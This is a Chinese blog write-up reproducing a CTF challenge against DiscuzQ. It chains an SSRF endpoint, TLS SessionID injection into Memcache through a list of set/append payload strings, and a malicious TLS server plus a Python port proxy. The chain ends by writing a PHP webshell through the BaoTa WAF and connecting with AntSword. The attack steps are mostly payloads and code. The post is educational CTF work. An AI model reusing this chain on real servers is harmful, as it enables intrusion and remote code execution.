DiscuzQ – 西湖论剑复现

/ 0评 / 0

DiscuzQ

西湖过去好久了。没想到环境还在。赶紧来复现下
看着赵总博客一步一步复现下来的。。赵总yydstxdy
https://www.zhaoj.in/read-6681.html
具体细节就看赵总博客就可以了。十分详细。不再赘述了。
这里主要讲一下我复现的过程

http://hellodiscuzq.xhlj.wetolink.com/api/analysis/goods

可以进行ssrf(原理可以看赵总博客)
限制了https与http协议。所以可以用来探测内网

{
    "data":{
        "type":"analysis",
        "attributes":{
            "address":"http://ip:port/"
        }
    }
}

发现 80,888,8888,3306,11211 端口开放
用他请求一下我们服务器发现也可以请求

复制下赵总的话

首先是 SSRF 攻击 Memcache。
因为我们之前看到的是只允许访问 HTTP/HTTPS 的 SSRF 点,我们就要尝试利用 HTTPS 中 TLS 的 SessionID 去攻击 Memcache 进而写入我们想要的 Host。
预期写入的内容为
key:10.20.124.208
vaue: ../../wwwroot/10.20.124.208/public/a.php\x00(EOF)
路径可从自己安装的宝塔以及 DiscuzQ 中获得。
为什么会有一个 \x00 EOF 字符呢,因为在我们上面看到的代码中 server_name 位于字符串中间位置,前后还有内容,在 Lua 中我们可以利用 \x00 EOF 字符来截断它,从而让他准确地写入我们想要写入的命令。
那么写入 Memcache 的命令如何呢?
按理来说应该是
set 10.20.124.208
../../wwwroot/10.20.124.208/public/a.php\x00
但因为 SessionID 只能为 32 字节长,所以我们需要分段写入。
Memcache 中提供了追加写入的命令 append,我们可以利用这个来绕过长度的限制写入我们的路径。
最终我们的命令集如下。

这是要写入的命令

session_id = [
        "\nset 10.20.124.208 0 0 5\n../..\r\n",
        "\nappend 10.20.124.208 0 0 2\n/w\r\n",
        "\nappend 10.20.124.208 0 0 2\nww\r\n",
        "\nappend 10.20.124.208 0 0 2\nro\r\n",
        "\nappend 10.20.124.208 0 0 2\not\r\n",
        "\nappend 10.20.124.208 0 0 2\n/1\r\n",
        "\nappend 10.20.124.208 0 0 2\n0.\r\n",
        "\nappend 10.20.124.208 0 0 2\n20\r\n",
        "\nappend 10.20.124.208 0 0 2\n.1\r\n",
        "\nappend 10.20.124.208 0 0 2\n24\r\n",
        "\nappend 10.20.124.208 0 0 2\n.2\r\n",
        "\nappend 10.20.124.208 0 0 2\n08\r\n",
        "\nappend 10.20.124.208 0 0 2\n/p\r\n",
        "\nappend 10.20.124.208 0 0 2\nub\r\n",
        "\nappend 10.20.124.208 0 0 2\nli\r\n",
        "\nappend 10.20.124.208 0 0 2\nc/\r\n",
        "\nappend 10.20.124.208 0 0 2\na.\r\n",
        "\nappend 10.20.124.208 0 0 2\nph\r\n",
        "\nappend 10.20.124.208 0 0 2\np\x00\r\n",
    ]

append是memcache的语法

Memcached append 命令用于向已存在 key(键) 的 value(数据值) 后面追加数据 。
语法:
append 命令的基本语法格式如下:
append key flags exptime bytes [noreply]value
参数说明如下:
key:键值 key-value 结构中的 key,用于查找缓存值。
flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
bytes:在缓存中存储的字节数
noreply(可选): 该参数告知服务器不需要返回数据
value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)

因为session限制32位

根据其语法我们了解其每次都永久缓存且为2位。所以就成了
../../wwwroot/10.20.124.208/public/a.php\x00
前面都有 \n 后面也有 \r\n,标记 Memcache 命令的开始和结束。
ssrf的原理赵总博客很清楚了,可以在赵总博客看到

部署tls恶意服务器

赵总github一把梭
https://github.com/glzjin/tlslite-ng

运行就完事了,不过要改几个东西

把这里的证书替换成自己的

这里改成自己的域名解析
然后在dns解析中修改

AAAA记录指向127.0.0.1ipv60:0:0:0:0:ffff:7f00:1
这个反过来也可以,都是可以正常执行的
然后建立二次链接失败直接用赵总的proxy脚本即可。修改自定义端口

# coding=utf-8
import socket
import threading
source_host = '127.0.0.1'
source_port = 11210
desc_host = '0.0.0.0'
desc_port = 11211
def send(sender, recver):
    while 1:
        try:
            data = sender.recv(2048)
        except:
            break
            print "recv error"
        try:
            recver.sendall(data)
        except:
            break
            print "send error"
    sender.close()
    recver.close()
def proxy(client):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((source_host, source_port))
    threading.Thread(target=send, args=(client, server)).start()
    threading.Thread(target=send, args=(server, client)).start()
def main():
    proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxy_server.bind((desc_host, desc_port))
    proxy_server.listen(50)
    print "Proxying from %s:%s to %s:%s ..."%(source_host, source_port, desc_host, desc_port)
    conn, addr = proxy_server.accept()
    print "received connect from %s:%s"%(addr[0], addr[1])
    threading.Thread(target=proxy, args=(conn, )).start()
if __name__ == '__main__':
    main()

代理 11211 端口到 11210 端口
python2 proxy.py

请求就可以触发ssrf了,有时候请求不到多打几次
然后触发宝塔的waf,把我们的shell写入到我们指定的文件中去

因为宝塔waf的原因,这里可以设置成base64

有dis_ablefunc
我这里直接传bypass脚本打不通,timeout了。这里使用了蚁剑

蚁剑一把梭

后记

这题可以说真的学到很多内容了,西湖题目质量很高,本次复现下来就一句话
赵总ttttql

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注